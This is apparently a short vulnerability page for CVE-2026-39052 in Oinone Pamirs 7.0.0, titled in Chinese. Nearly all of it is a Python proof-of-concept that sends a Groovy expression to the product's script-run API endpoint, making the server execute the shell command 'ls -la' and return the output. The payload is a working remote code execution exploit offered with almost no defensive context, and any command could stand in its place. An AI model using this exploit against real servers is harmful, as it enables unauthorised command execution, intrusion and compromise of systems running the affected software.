CVE-2026-39052 Oinone Pamirs代码执行漏洞

import requests # PoC for CVE-2026-39052 # Target: Oinone Pamirs 7.0.0 # Description: Exploits ScriptRunner.run to execute arbitrary code. target_url = "http://target-ip:port/api/script/run" # Malicious payload example (e.g., Groovy syntax) # Attempting to execute a simple command or script payload = { "expression": "def proc = \"ls -la\".execute(); proc.waitFor(); println(proc.text)", "type": "groovy", "context": {} } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")